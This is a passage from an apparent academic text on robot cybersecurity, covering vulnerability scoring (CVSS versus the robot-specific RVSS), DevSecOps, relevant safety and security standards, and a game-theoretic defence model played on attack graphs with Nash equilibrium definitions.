along the sequence diagrams as above, or more generally ones. The three example attacks

mentioned above are described by [36] with full call sequences in these two tools.

A useful auxiliary tool is roswtf [90], which can be run to identify a set of attack patterns,

and bring up vulnerabilities in ROS nodes that need fixing. This is a special case of the

more general procedure of vulnerability scanning, covered next.

4.2 Vulnerability Scanning

Broadening the view, methods from network security naturally apply in robotics, as we

also have distributed systems with many components talking to each other. In turn, a

TVA identifies weaknesses of components and scores them according to best practices and

standards. Commercial tools like OpenVAS [43] or Nessus [139] systematically search the

network, collect information about the components, and query open databases for reported

vulnerabilities. From this data, reports are compiled that list potential vulnerability, option-

ally ranked by severity. A popular ranking in this regard is the CVSS [49], which provides

a score between 0 and 10, with 10 being critical and 0 signifying irrelevance. However, as

of version 3.0 of CVSS, it has been found to not satisfactorily cover the particularities of

robotic systems, particularly matters of safety. In a nutshell, CVSS considers a categorical

rating in a set of metrics, each with its individual scale of values, and each category con-

tributing individually to the overall severity score. Below, we briefly outline the metrics, but

refer the interested reader to the respective specifications for details, as we leave it up to the

self-explanatory nature of the metric at this point, and since the numerical computations

of a score from the categories are only of secondary interest here. Our point is that this

popular scoring scheme lacks specific metrics of relevance in the robotics context.
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CVSS rates a vulnerability in three dimensions, each of which compiles a score from differ-

ent ingredients. The scoring, as a process, starts with a categorization of various properties

of the system and an exploit. These include (but are not limited to) the level of priveledges

required, kind of access (network only, or physical, etc.), and many more. We shall keep the

details in the following at a level high enough to exemplify the deficiencies of CVSS to apply

for robotic systems, but nonetheless pointing out the general method of systematizing the

vulnerability judgment is indispensable for a comprehensive security design, and to construct

the defense game structure and playground (see Chapter 5).

The CVSS score dimensions with determining factors are the following triple, with the

respective metrics as they appear in CVSS named italicized :

1. Base score: this score distinguishes aspects of exploitability and impact, both of which

are rated individually:

• Exploitation is judged from the context by which vulnerability exploitation is

possible (attack vector (AV)), conditions beyond the attacker’s control that must

exist to exploit the vulnerability (attack complexity (AC)), level of privileges an

attacker must possess before successfully exploiting the vulnerability (priviledges

required (PR)), requirements for a user, other than the attacker, to participate in

the successful compromise of the vulnerable component (user interaction (UI)),

and the ability for a vulnerability in one software component to impact resources

beyond its means, or privilege (scope (S)).

• Impact covers the classical confidentiality, integrity and availability goals. Please

note that here, like in many related standards, authenticity is not in the primary

focus, substantiating our exposition above on the use of cryptographic certificates

in this respect, and pointing out that authenticity and access control cannot be

considered as covered by using vulnerability scanners or the CVSS methodology.

2. Temporal score: this one measures the likelihood of the vulnerability being attacked,
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based on the current state of exploit techniques (Exploit Code Maturity (E)). It further

depends on the remediation state of a vulnerability (the less official and permanent fix,

the higher the vulnerability scores on the remediation level (RL)), and on the degree

of confidence in the existence of the vulnerability and the credibility of the known

technical details (report confidence (RE)).

3. Environmental score: like the base score, this one also distinguishes exploitability and

impact, and to this end considers the same ingredients as the base score, only prefixing

them as “modified” in all cases, i.e., the scores are the “modified-” versions of AV, AC,

PR, UI and S, in turn called MAV, MAC, MPR, MUI and MS for the exploitation,

and MC, MI, and MA for the impact. In both cases, they shall enable the analyst

to adjust the base metrics according to modifications that exist within the analyst’s

environment.

All these variables appearing in upper-case letters above can take values on their own individ-

ual categorical scales, which the CVSS method then translates into numbers, and compiles

the scores with given formulae. Overall, the result is a three-dimensional numeric vector

(B, T,E) ∈ [0, 10]3 to describe a vulnerability. It turns out, however, that this classification

can miss out on vulnerabilities in the robot context.

Accordingly, [143] have designed the RVSS as an extension over CVSS, whose changes

we summarize below for brevity, since RVSS inherits all metrics from CVSS, only with a few

but important refinements. Their effect will later be illustrated by a comparative example

showing how CVSS and RVSS rate vulnerabilities different:

• CVSS speaks about the context by which vulnerability exploitation is possible as the

attack vector (AV), taking categorical values in {Network (N), Adjacent Network (A),

Local (L), Physical (P)}. RVSS adopts a more refined view here by dividing the

category N into subcategories being remote network (RN), and adjacent network (AN),

and internal network, as well as distinguishing physical access into public ,restricted or
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isolated. In turn, each of these categories receives its own score and needs distinction

to accurately capture a robotic system.

• RVSS adds a few new metrics to the base, temporal and environmental scores, related

to age and safety aspects; in detail, the additional metrics are

– Age (Y), measuring the timespan since the vulnerability was first reported (in

years), with categories being Zero Day (Z), < 1 year (O), < 3 years (T), ≥ 3

years (M), and Unknown (U).

– Modified Age (MY), so that the analyst can adjust the base metrics according to

modifications that exist within the analyst’s environment.

– Safety (H), which measures potential physical hazards on humans or the environ-

ment. Categorical possible values are Unknown (U), None (N), Environmental

(E), and Human (HU).

– Modified Safety (MH), to enable the analyst to customize score depending on the

importance of this aspect

– Safety Requirement (HR), which the analyst can use to adjust the base metrics

according to modifications that exist within the analyst’s environment.

[143] corroborates this proposal by providing a comparison of CVSS and RVSS metrics,

based on vulnerabilities identified in real-life robot system implementations. Table 4.1 gives

an overview of the results, where it is particularly interesting to note that the last example

would come with an overall zero score in CVSS, while RVSS does indicate at least medium

severity.

4.3 DevSecOps

Software quality in robotics is often understood as execution according to design purpose

whereas security is perceived as the robot will not put data or computing systems at risk of
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unauthorized access [74]. In this section, we introduce DevSecOps in the context of robotics,

a set of best practices designed to help roboticists implant security deep in the heart of their

development and operations processes.

The compound word “DevOps” is a join between development and IT operations, and

today describes an agile IT operations service delivery, understood not as a framework,

method or body of knowledge, but rather as a “working philosophy” seeking to unify cul-

tures, practices, and tools related to development and operation. In other words, knowing

that people from the development area have a different attitude and working style compared

to people from IT operations, DevOps is the aim of bridging these differences. Robotics

maybe offers a particularly complex gap to bridge in this regard, especially when it comes

to security, since it demands collaboration between people from software development, com-

puter hardware design, mechanical engineering, and other disciplines. Adding security on

top is yet its own challenge, since the awareness about potential threats may largely differ

between people from these areas. For example, people specialized in software engineering

rarely need to consider physical damage caused to people, as their primary concern is about

processing (and maybe protection) of data. Similarly, mechanical engineers rarely need to

Vulnerability description RVSS CVSSv3

Missing authorization mechanisms in a
protocol allows remote attackers to gain
unauthorized control the robots via net-
work communication

(7.7, 7.7, 7.7) (9.1, 9.1, 9.1)

An attacker on an adjacent network could
perform command injection

(10, 10, 10) (8.8, 8.8, 8.8)

An stack-based buffer overflow in a TCP
service could allow remote attackers to ex-
ecute arbitrary code and alter protected
settings via specially crafted packets

(10, 10, 10) (10, 10, 10)

Exemplary vulnerability in ROS 2.0 com-
munication middleware: Launching on
arm64 with FastRTPS with fat archive
from 2018-06-21 never quits

(5.9, 5.9, 5.9) (0, 0, 0)

Table 4.1: Comparison of RVSS and CVSS [143]
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worry about data confidentiality matters. In robotics, we find an interesting divergence in

the understanding of the terms safety and security, and it is worthwhile bearing in mind

both “definitions” when people join forces to develop robots:

• system security context: safety = protection against unintended attacks (i.e., by na-
ture), vs. security = protection against intentional attacks (e.g., by hackers).

• robot context: safety = prevention of any harm that the robot could do, vs. security
= prevention of any damage to the robot itself.

DevOps can be decomposed in two alternatingly connected cycles of development and

operation phases, as shown in Figure 4.1a. The idea of DevSecOps is adding an optional

branch back into the Dev- or the Ops-cycle to “break” the alternation pattern if necessary.

The individual phases have their own software aids and organizational procedures, and the

challenge of DevOps is to get these under a common denominator of collaboration. Still, the

duties in each phase are separable:

• code: this summarizes the writing, review, versioning, documentation, merge, and all

other aspects of code authoring.

• build : this includes all matters of compilation, ranging from a plain compilation of

source files, until the application of modern build tools (e.g., Ant, Maven, etc.).

• test : besides running pre-defined use-cases, unit tests and the automated generation

of test cases is part of this phase, as well as tests with users, including usability eval-

uations. Specifically, usability needs a distinction based on the “customer” of the

component, which may be the end-user who buys the final product and gets to see

only its official user interface, or whether it is a team colleague coming later in the

DevOps cycle and itself concerned with software development, integration, testing,

deployment, or other phases inside DevOps.

• configure is the phase of putting the system into an initial configuration for deployment.
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For security, this means (among others) to set initial access credentials with enforced

change upon first (one-time) use, defining a startup procedure, etc.

• deployment is the process of wrapping everything up for an installation in a productive

environment. This entails a preparatory phase to package not only executable files, but

also resources on which these depend, up to including platforms (operating systems,

virtual machines), etc, as well as the actual installation at the customers’ premises or

in a testing environment.

• monitoring is the continuous surveillance of system performance indicators, but also

the collection of data related to economic aspects (business case) and the collection of

customer feedback (tickets, etc.).

• analyze compiles the results from the monitoring for different purposes, among them

predictive analytics (of the system performance, but also for an early warning about

security incidents, e.g., intrusion detection), for the general purpose of identifying the

potential for improvement.

• planning takes all information collected from the operational (Ops) phases and recon-

siders the current system design accordingly. With security as an additional explicit

focus, this feedback includes risk analysis and evaluation results (from ISO31000 pro-

cesses or similar).

DevOps aims at a continuous evaluation of the system’s design in the Dev phase, or its

operation in the Ops cycle. Figure 4.1b illustrates this by the two arrows as return directions

into the respective cycles. Both correspond to an instance of the well-known Plan-Do-Check-

Act cycle of risk management standards like ISO31000. Advanced software engineering may

explicitly establish the ISO PDCA cycle (plan-do-check-act) within the Dev and the Ops

cycle. Specifically, this means an explicit account of security matters during the respective

phases, in particular including (but not limited to):
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• Zoning: delineation of areas whose security requirements differ; for example, parts of

the system to which access is highly sensitive, as opposed to other parts of a system

that may be more open to public access. This also includes a logic division into com-

ponents that undergo different maintenance procedures (like updates), where zoning –

for security – means the consideration of side-effects and security implications when a

component becomes replaced or updated, or implemented with redundancy (for avail-

ability). Typical tools in this regard include containerization (e.g., Docker) or general

virtualization technology.

• Compliance and attestation: throughout the design but also the operational phases,

processes need documentation, with a continuous focus on compliance for periodic or

continuous risk assessments. ISO 31000 is one framework to formalize the documenta-

tion and processes to this end.

• Logging, monitoring, and database management: likewise as for the certification, all

activity in the system needs monitoring and logging for forensic purposes, root cause

analyses for error tracking, and also as part of compliance certification (see the previous

item).

• Authentication and authorization, implemented by techniques of access control and

identity management. Authenticity herein refers to subjects and needs distinction

from the authenticity of data, which is a separate duty (discussed next). Subjects

herein include not only people but also components, for which a proof of authenticity

is usually called attestation (see above).

• Data security, meaning confidentiality (by encryption), availability (by redundancy),

integrity (by cryptographic hash sums), and authenticity (by digital certificates). Fur-

ther goals can include non-repudiation (using proper logging and access control), and

general data quality management [29]. Most importantly, the management of keys (for

symmetric as well as public-key cryptography) is explicitly included here, spanning the
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entire lifecycle of keys from generation, distribution, use, update, revocation, escrow,

archiving, recovery, and secure destruction of cryptographic keys and general access

credentials.

• Network security, including the “standard techniques” like firewalls, network segmen-

tation, etc., but also more advanced security models like black clouds, a.k.a., software-

defined perimeters.

Integrating the PDCA cycle into the DevOps cycle is a matter of linking the respective

phases to one another, such as possibly in the following way:

PDCA phase DevSecOps phase
plan plan, test, monitor and analyze
do plan, code, build and test

check configure, test, monitor and analyze
act code, build, test, configure and deploy

The correspondence is showing overlaps, meaning that the planning phase in ISO risk

management has an apparent link to the planning phase in DevOps, but the two having

different aims: while “plan” in DevOps relates to the system design, in particular, the phase

with the same name in risk management prescribes to include risk mitigation controls in the

system. Naturally, this should go into the planning for the development, but not exclusively,

as input from the testing, monitoring, and analysis phases can be relevant and useful for

risk management as well. The correspondence above shall be understood as explicitly bi-

directional, meaning that risk management phases draw inputs from DevOps phases, and

DevOps phases need to draw input from the risk management phases vice versa.

The approach of planning first, then implementing the plan (do), followed by monitoring

how well the plan meets expectations (check), and working on improvements based on lessons

learned (act) within the DevOps cycle (see Figure 4.1b). Alluding more to security, we can

consider structural improvements to the system as running through a PDCA cycle in the

development, and (in parallel) operational improvements by running the system in the best

possible way. Game theory can help with both regards in several ways:
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• for structural, i.e., design, choices, we can set up games to define the best resource

investment related to security. For instance, there are game models to determine

where to place honeypots [11, 68] in networks. Different in concept is the application

of games to quantify the security of components; for example, the question of how

to run a distributed ledger, say, for secure logging, with quantifiable and guaranteed

security. This has been studied by [5], for example. A third notable application regards

adversarial artificial intelligence, where robust optimization [144] is applied, assuming

a rational adversary trying to trick a machine learning system from its intended into

a dysfunctional behavior.

• for operational security, moving target defense is a matter of changing configurations

(e.g., access credentials [115], etc.), or randomization of transmissions (as studied by

[119]), or even hardware design using randomization of register use (usually a precau-

tion to prevent remote code execution by buffer overflows, known as address space

layout randomization).

Some illustrative selected examples will follow in Sections 5.1 and 5.2.2.

4.4 Relevant International Standards

The (in)security of robots is mostly rooted in the fast digitalization of the branch. Tradi-

tionally, robots have been used in (networked) isolation without connections to the outside.

Now, with increasing connectedness, the security issues of other connected systems also af-

fect robotics. When developing a new robot or a robot-based application, security is actually

an important requirement. Due to the complexity of these systems, assuring security is a

non-trivial task that is mostly application-specific. In order to develop a common set of

criteria for robot security, the most relevant international standard is the IEC-62443 “In-

dustrial communication networks - IT security for networks and systems” standards series.

It defines requirements and processes for multiple actors involved in developing a secure
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industrial system, namely the component vendor, the system integrator, and the end user.

IEC-62443 defines multiple security levels depending on which kind of attacks a system

should be secured against (ranging from incidental manipulation to highly-skilled groups

with extensive resources). Based on the process and requirements defined in IEC-62443,

structured, security-enhanced development processes like DevSecOps can be employed to

build secure robot systems.

As pointed in previous sections, there’s an intrinsic connection between safety and se-

curity. Safety cares about the robot not harming the environment (or humans) whereas

security deals with the opposite, aims to ensure the environment does not conflict with the

robot’s programmed behavior. Functional safety standards reflect this aspect. Figure 4.1

depict functional safety standards that are relevant in robotics and the connection between

them.

At the European level, The Machinery Directive, Directive 2006/42/EC of the European

Parliament and of the Council of 17 May 2006 [37] is a European Union directive whose

main intent is to ensure a common safety level in machinery placed on the market, including

robotics. In a other words, it seeks to harmonize machine safety requirements. It’s important

to note that directives are ratified by the EU as a whole, then each member country is

expected to implement its own local laws, regulations and standards to enforce the directive.

So the directive is subject to interpretation by lawmakers and regulatory authorities and

standards organizations and to further interpretation by companies that design, build and

use machinery.

While only the machinery directive itself can be considered a law, the text itself is

too broad for industry to apply directly. Accordingly, two alternative European standards

were developed by the International Organization for Standardization (ISO) and the In-

ternational Electrotechnical Commission (IEC) in compliance with EU Machinery Directive

2006/42/EC: EN ISO 13849-1 and EN 62061, both inspired by IEC 61508 ”Functional Safety

of Electrical/Electronic/Programmable Electronic Safety-related Systems”. IEC 61508 is of-
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Figure 4.1: Safety standards of relevance for robotics and their relationship.
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ten considered as the meta-standard for safety safety and from where most functional safety

norms grow. IEC 61508 indicates the following in section 7.4.2.3:

”If the hazard analysis identifies that malevolent or unauthorised action, consti-

tuting a security threat, as being reasonably foreseeable, then a security threats

analysis should be carried out.”

Moreover, section 7.5.2.2 from IEC 61508 also states:

“If security threats have been identified, then a vulnerability analysis should be

undertaken in order to specify security requirements.”

which translates to security requirements. Note these requirements are complementary

to other security requirements specified in other standards like IEC 62443, and specific to

the robotic setup in order to comply with the safety requirements of IEC 61508. In other

words, safety requirements spawn from security flaws, which are specific to the robot and in-

fluenced by security research. Periodic security assessments should be performed and as new

vulnerabilities are identified, they should be translated into new security requirements. More

importantly, the fulfillment of these security requirements to maintain the robot protected

(and thereby safe) will demand pushing the measures to the robot endpoint. Network-based

monitoring solutions will simply not be enough to prevent safety hazards from happening.

Safety standards demand thereby for a security mechanism that protects the robot endpoints

and fulfill all the security requirements, a REPP.
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Chapter 5

Game Theory for Robotic System

Security

Before describing the more general terms of game theory and its security application, let us

illustrate the basic idea of how to use game theory on a simple game set up on the output

artifacts of a (conventional) TVA (Section 4.2), and penetration testing tools (Section 4.1).

A general game is cooked from three ingredients:

• A set of players, here being only two: a defender (player 1) versus an attacker, as

player 2.

• A set of actions for both players, which depends on the possibilities of defense and

attack, resp. penetration. These actions sets are widely unrestricted in terms of

how their elements look like, but an “action” can be understood as any prescription

(arbitrarily complex) on how to act towards a certain goal. This description can

range from very simple yes/no decisions, up to complex attack patterns entailing whole

sequences of command and control, similarly as in Figure 2.2, for instance.

• A set of utility functions, for each player, which quantifies the revenue upon the joint

actions taken by all players. This is in many cases the most intricate component to
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specify, since it is supposed to compile a numeric value that all players are supposed

to optimize by taking certain actions. For security, this bears the challenge of aggre-

gating perhaps several security goals in the utility value, as well as it also needs to

accurately reflect the incentives of each player in the competition. The construction

of proper payoff functions is at the core of most game theoretic models for security,

with the second core ingredient being the actual solution of the game; in many cases

an equilibrium.

An equilibrium is a strategy profile that once jointly implemented by all players, does not

leave any player with an incentive to deviate from it, given that no other player does so.

It is thus a strict selfish perspective, not precluding the possibility to join forces with other

players to gain more from the game than one could get alone. In security, however, we mostly

assume players to act on their own, as security teams can in many instances be modeled as

a single player with a respectively more complex ability to take actions.

In the following, we describe a simple instance of a game that is directly playable on an

attack graph, such as a TVA would deliver. This has the appeal of naturally inducing the

respective action sets, as well as utility functions, in the game about chasing an invisible

intruder throughout the attack graph.

5.1 Introduction by Example: Chasing the Adversary

on Attack Graphs

Suppose that we are dealing with a stealthy attacker that tries to penetrate a system, e.g.,

a ROS instance, and seeks to conquer a certain node in it, e.g., an actor element to cause

(physical) damage, or to reconfigure it to produce minor quality in the long run (say, by

placing less welding points or otherwise causing quality deterioration).

To illustrate the game and results, consider a very simple system consisting of three

machines, one of which (Machine 0) is under an adversary’s control, trying to take further
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control over a particular ROS node, here machine 2. It aims to do so by either directly

sending commands to machine 2, or taking a detour over machine 1. Note that we here,

in Figure 5.1a adapted the example originally due to [133] for the network context, but

analogously applicable to ROS too. Figure 5.1b shows an exemplary attack graph with

condition nodes (boxes), exploit nodes (ellipses), and starting and finishing points of the

attack. The predicates shown along the way represent access takeover events using a certain

technique (e.g., a file transfer to a remote host (ftp rhost) or remote shell (rsh) access,

from machine A to machine B, denoted as “parameters” to the respective predicates. Further

exploits concern buffer overflows (bof) in specific protocol stacks (e.g., ssh) or on the local

node’s firmware).

The mathematical game played on the attack graph proceeds along the following lines:

1. The intruder runs through several exploits in a sequence, hiding its traces and leaving

backdoors for an easy return later on. The intruder can become active at any time

(including nights and weekends), and can become active at any frequency (be attacking

often in short time, or remaining idle for longer periods). While we do not assume

the defender to “see” the activities of the adversary, we nonetheless assume that the

defender knows the “rate” λ at which the attacker becomes active per time unit. That

is, we adopt an assumption on the knowledge of a value λ that measures the “number

of penetrations per time unit”.

The attacker is thus free to pick any attack path, a.k.a. attack vector, to reach its

goal. And here comes a practical difficulty, since there are generally exponentially

many options here. Reducing the complexity of attack graphs to subsequently keep

the possibilities within feasible bounds to fix them is a matter beyond our scope here,

but important to bear in mind when constructing the attack graph. One simple mean

is grouping nodes with similar vulnerabilities or exploits, and other techniques take

advantage of game theory here too, and include only those attack vectors who are “most

promising”, assuming that the attacker will not pursue a path with unnecessary many
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(c) Attack paths in the
graph shown in Fig 5.1b

Figure 5.1: Example Playground for Cut-The-Rope
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obstacles on it. Commercial tools to compile attack graphs (e.g., [33]) or theoretical

accounts for attack-defense games [124] list methods here to reduce the complexity. In

the example shown in Figure 5.1, the table in Figure 5.1c shows an exhaustive list of

all attack paths that the intruder could follow. The smallness of the example admits

this listing here.

2. The defender chooses a point in the attack graph to inspect, corresponding to a physical

node (perhaps the same physical node for several nodes in the attack graph), i.e.,

monitor for suspicious activity, update or patch it, change credentials, etc. Knowing

how often the attacker is supposed to become active (the value λ), the defender can

invoke a Poisson distribution to model the probabilistic depth of penetration into the

system from the starting point. If knowledge of λ is unrealistic, then alternatives

are equally admissible, say, taking a CVSS or RVSS score to express the difficulty of

mounting an attack or exploit, and by that knowledge, describing probabilistically how

deep the intruder already has made it into the system.

Note that this particular game assumes the defender to become active in fixed intervals,

like working days, or working shifts. These intervals determine the time unit relative

to which the attacker’s activity level λ is measured. Generalizations to 24/7 security

response teams are possible, yet not deeper discussed here.

3. The goals of the two players are, for the attacker, to hit the designated target node

(here, machine 2), while it is the defender’s aim to keep it away from machine 2 as good

as it can. Note that the defender has no guarantee of ever being successful in really

“catching” the intruder upon an inspection, and it may have quite good chances to

miss it at all, if the adversary walks in along a different attack path, than the defender

is currently checking.

This means that there are basically two possible outcomes upon a spot check, i.e.,

when the defender takes action in the game:
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• it can, most likely unknowingly, clean a node from a backdoor that the adversary

has previously left there. In that case, the attacker is sent back to an earlier node

in the attack graph and needs to penetrate the node again that the defender has

just cleaned or reconfigured. This effect gives the game it’s name as “Cut-The-

Rope”, since the attacker’s rope from the beginning down to the target has been

“cut” by the defender.

• it has checked a node that was completely outside the route that the adversary

is on, or that may be on the attacker’s route towards its goal, but it has not

reached it yet. In both cases, the defense action remains without any effect

for the defender, or the attacker (except for the adversary having accomplished

another step towards the goal undisturbed.

The quantitative goal for both players is to maximize, respectively minimize, the

chances for the intruder to hit its goal. The defender then needs to pick its actions so

that the chances to hit machine 2 are minimized, while the attacker will pick its attack

vectors towards maximizing the probability to hit its target.

This is already a qualitative, yet informal, mathematical game played on an attack graph,

where the action spaces for the attacker are the exploit nodes, and the action space for the

defender is all nodes where a spot check, patch or reconfiguration is doable for a defense. It

is an instance of a moving target defense, and implementable by very simple means; in the

case of this particular game, the code is freely available from [137].

The result of the computation, as for most game-theoretic models, is a threefold infor-

mation:

• an optimal decision making scheme for the defender to act best against the opponent

• a likewise optimal behavior for the attacker,

• and an equilibrium payoff to both players, quantifying their revenue if the respective

other player is taking its optimal actions.
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We call a strategy profile that simultaneously optimizes the payoffs for all players, respecting

mutual negative or positive correlations between their individual payoffs, an equilibrium. For

the game in Figure 5.1, it comes as an optimal inspection schedule for the defender, i.e.,

prescribing the frequency and random choice of system components to patch, update and

scan for malware. The second part of the equilibrium is a likewise optimal choice rule about

attack paths for the adversary. We leave this information out here, but explicitly warn about

taking the attacker’s optimal behavior as a guideline on where to defend! This seemingly

natural use of the result is dangerous in light of there being other equally optimal ways for

the attacker to win the game besides what the game computes, and hence a defense should

generally not be built on a hypothetical model of where the attacker is expected to hit (not

even if this information comes out of a game optimization). Essentially, it is thus best for

the defender to implement the defense that the game computes as explicit equilibrium for

the defender, but the likewise information for the attacker must be taken with care. The

good news is that the equilibrium defense strategy will be optimal in any case of adversarial

behavior, conditional on the attacker not coming up with unexpected attacks such as zero-

day exploits. Conditional on the attacker acting only within its (modeled) attack set, there

is no way of improving the defender’s performance by any deviation motivated by what we

think the attacker would do in the game.

For the example in Figure 5.1, we find the optimal defense to be inspecting machine 2

continuously, eventually preventing a buffer overflow to occur locally (node 7 in the graph

in Figure 5.1). This is not surprising, given the fact that all attack paths eventually must

traverse node 7, making it the most promising point to establish a defense. If a permanent

fix to this node is possible, then the topology of the attack graph of course changes, either

by adding new links and nodes, or by cutting the target node off so that the graph becomes

disconnected. This practically optimal case can, however, hardly be expected to happen

in reality. Still, since the attacker could have been active over the defender’s capabilities,

leaving a residual chance of hitting the target before the first inspection on the vulnerable
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node 7. Eventually, what the game analysis gives us, corresponding to the three result items

mentioned above, is the following information [116]:

• optimal defense: check machine 2 for buffer overflows, i.e., keep node 7 under protection

in the attack graph.

• optimal attack: take path execute(0)→ ftp rhosts(0,2)→ rsh(0,2)→ full access(2).

This path, coincidentally, corresponds to the shortest attack path in this instance of the

game. It may alternatively also come up as the “easiest” path to penetrate according

to CVSS or RVSS ratings, depending on how the game was defined.

• equilibrium utility U∗: in the given setup, this is the probability (distribution) of the

attacker location over the 10 possible positions in the attack graph, and we get numbers

for these likelihoods from the equilibrium computation, being

U∗ ≈



node probability of the attacker being there

1 0.573

2 0

3 0

4 0

5 0

6 0.001

7 0.111

8 0.083

9 0.228

10 0.001

(5.1)

which is the expected effect of the defender’s original duty, i.e., the adversary can get

close to the part or machine represented by node v0, but has only a very small chance

of conquering it.
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Further aspects to include in the consideration relate to the possibility (and perhaps

likely event) to see an optimized defense fail from time to time. Intrinsic to the concept, with

reasons exposed more visibly later, the defender may suffer a “disappointment” by missing

the attacker although the game-theoretically best defense was implemented. Including the

possibility of such events and minimizing the chances for a defense to fail at all is a more

complex matter and theoretically challenging. We refer to the work of [16, 44, 146] for

methods in this regard. Much easier to include are costs of changing configurations for

security. While patching a node’s software is typically part of the regular maintenance

duties, a change of access credentials or changing a node’s configuration is something with

the risk of causing service disruptions, and hence often avoided. One can (and would need

to) include such costs in the design of the respective utility functions, and generic methods

to do so have been described by [117].

5.2 Introduction to Security Games and Strategic De-

fenses

We have seen in recent years that attackers are becoming increasingly sophisticated and

intelligent. Traditional security solutions that rely on cryptography, firewalls, and intrusion

detection systems are necessary (cf. Section 2.3) but not sufficient to guarantee the security

of the robots. There are many ways that an attacker can circumvent these technologies and

gain access to the targeted systems. The design objective of perfect security is not possible

as the system designers are always constrained by resources. The attack graph from Section

5.1 is one step towards this: instead of aiming for perfect security, one reasonable security

solution is to understand the specific system features and their objectives and take into

account the strategic behaviors of the attacks and the constraints on the attack-and-defense

resources. In robotic systems, the consequences of a compromised system differ depending

on the domain of the applications. For example, a service robot that interacts with humans,
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e.g., self-driving cars and autonomous vehicles, can be turned into a deadly weapon that

hurts human users. Manufacturing robots on assembly lines can break down and cause a

significant economic loss due to reduced production. Hence understanding and quantifying

the system-specific objectives and the available resource is key to developing an effective

defense mechanism against attackers.

To this end, game theory provides a modeling and reasoning framework for the design

of effective security solutions [71]. First, game-theoretic models can capture the competitive

and strategic behaviors of the players and their constraints. Second, there are a rich set

of game-theoretic algorithms and tools that enable the prediction of the outcomes through

the analysis and the computation of the equilibrium. Third, game models provide ways

to incorporate human factors, including bounded rationality, cognitive biases, and human

perception. Fourth, game models can take different forms at multiple layers of the system and

for various attack models. They can be composed and integrated to create a game of games

to provide a holistic view of the security issues across the layers of the system and enable

a design of system-wide security solutions. Game theory has been used in a wide variety of

cybersecurity contexts. A few application areas include intrusion detection systems [167, 168,

182], adversarial machine learning [100, 156, 158, 161, 165], proactive and adaptive defense

[30, 38, 50, 140, 175, 183, 185], cyber deception [56, 93, 95, 96, 164, 170], communications

channel jamming [8, 151, 171, 176, 180, 181], secure industrial control systems [4, 80, 170, 172]

and critical infrastructure security and resilience [20, 21, 51, 52, 53, 55, 127].

5.2.1 Models and Security Games

Let us reconsider the intuitive description of games laid out in Section 5, in more rigorous and

general terms: A normal form game of complete information is defined by three elements.

The first one is the set of players, denoted by N . In security games, there are often two

players in the game. One is the attacker A. The other one is the defender D. The second

element is the action set of the players, denoted by Ai, i ∈ N . The action set captures the
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feasible actions that are available to the players. It can naturally incorporate the system and

knowledge constraints of the players, and the rules of the games. The third element is the

preference or the payoffs of the players Ui, i ∈ N , which depends on the actions played by all

players, {ai, i ∈ N}, known as the action profile. Each player chooses to play the action that

maximizes his payoff. We are interested in the outcome of this game when the players have

complete information of this game and choose action ai ∈ Ai to maximize their own payoff.

The normal-form game of two players with finite actions, say the row player A and the

column player D, can be represented by a matrix. Each row k ∈ {1, 2, . . . , n} corresponds

to an action in the action set of player A; each column l ∈ {1, 2, . . . ,m} corresponds to

an action in the action set of player D. Matrices F,G ∈ Rn×m are the payoff matrices for

players A,D, respectively. Entries Fkl, Gkl represent the payoff to players A,D, respectively,

when actions that correspond to k-th row and l-th column are played.

This outcome is predicted by the solution concept called Nash equilibrium. An action

profile {a∗i ∈ Ai, i ∈ N} constitutes a (pure-strategy) Nash equilibrium when no player can

deviate from it unilaterally; in other words,

Ui(a
∗
i , a
∗
−i) ≥ Ui(ai, a

∗
−i),

for all ai ∈ Ai, i ∈ N . Here, a∗−i is the set of all equilibrium actions {a∗i , i ∈ N} excluding

the equilibrium action of player i, i.e., a∗i . The Nash equilibrium of an N -person game

defined by the triplet (N , {Ai}i∈N , {Ui}i∈N ) may not exist. However, the existence issue

is resolved when we extend the strategy space to mixed strategies, which are essentially

probability distributions over the action spaces that describe random choice rules for taking

actions in the game: Let xi, i ∈ N , be the mixed strategies of player i. Its j-th component

xi(aj) can be interpreted as the probability of player i choosing action aj from the discrete

action set Ai. It is clear that xi(aj) is nonnegative and
∑

aj∈Ai
xi(aj) = 1. Under the

mixed strategy profile {xi, i ∈ N}, the payoff received by the player is the average payoff
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Ūi(xi, x−i), which is merely a weighted sum using the payoffs from the actions, multiplied with

their corresponding probabilities from the mixed strategy. In the case of two-player games,

let x1, x2 be the mixed strategies represented as a finite-dimensional vectors (of appropriate

dimension) of the row player and the column player, respectively. The k-th component of x1

and the l-th component of x2 correspond to the probabilities of the row player (resp. column

player) choosing actions associated with k-th row (resp. l-th column). The average payoff

to the row player is given by Ū1 = xT1 Fx2; the average payoff to the column player is given

by Ū2 = xT1Gx2.

The mixed-strategy Nash equilibrium can be defined in a similar way as the pure-strategy

Nash equilibrium. The mixed-strategy profile {x∗i , i ∈ N} constitutes a mixed-strategy Nash

equilibrium if for all admissible mixed strategy xi, i ∈ N ,

Ūi(x
∗
i , x
∗
−i) ≥ Ūi(xi, x

∗
−i).

It has been known that there exists a mixed-strategy Nash equilibrium for every finite normal-

form game [6, 85].

Zero-sum games are a special class of games that are often used to model strictly com-

petitive behaviors between two players. One player’s gain is the other player’s loss. In other

words, let U1(a1, a2) = −U2(a1, a2) = U(a1, a2). Player 1’s objective is to maximize the

payoff U while Player 2’s objective is to minimize it. The roles of who maximizes and who

minimizes can, however, be freely exchanged, and the game Cut-The-Rope is an example

where the defender is a minimizer: indeed, the defender’s payoff in Section 5.1 is simply the

probability for the attacker to hit the vital target asset, which naturally should be small if

the defense is good. In turn, the attacker obviously seeks to maximize this probability, and

we have a zero-sum competition here.

The solution concept of zero-sum games is saddle-point equilibrium: this is a joint strategy

(a∗1, a
∗
2) if for all a1 ∈ A1 and a2 ∈ A2, U(a1, a

∗
2) ≤ U(a∗1, a

∗
2) ≤ U(a∗1, a2), and called pure
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if the strategies a∗1, a
∗
2 are pure. A two-person zero-sum game can be represented by one

matrix H. Row i of the matrix corresponds to the i-th action of the row player, say the

defender. Column j of the matrix corresponds to the j-th action of the column player, say

the attacker. The entry of the matrix Hij is the payoff to the defender, i.e., the loss to the

attacker when the defender plays the i-th action and the attacker plays the j-th action. Let

x1 and x2 be the mixed strategies of the players. The average payoff or loss to player 1

or player 2, respectively, is given by Ū(x1, x2) = xT1Hx2. Here, x1, x2, and H are vectors

and matrix of appropriate dimensions. A mixed strategy (x∗1, x
∗
2) is a mixed-strategy saddle-

point equilibrium if for all admissible x1, x2, Ū(x1, x
∗
2) ≤ Ū(x∗1, x

∗
2) ≤ Ū(x∗1, x2). The value

Ū achieved under the equilibrium profile is called the value of the game.

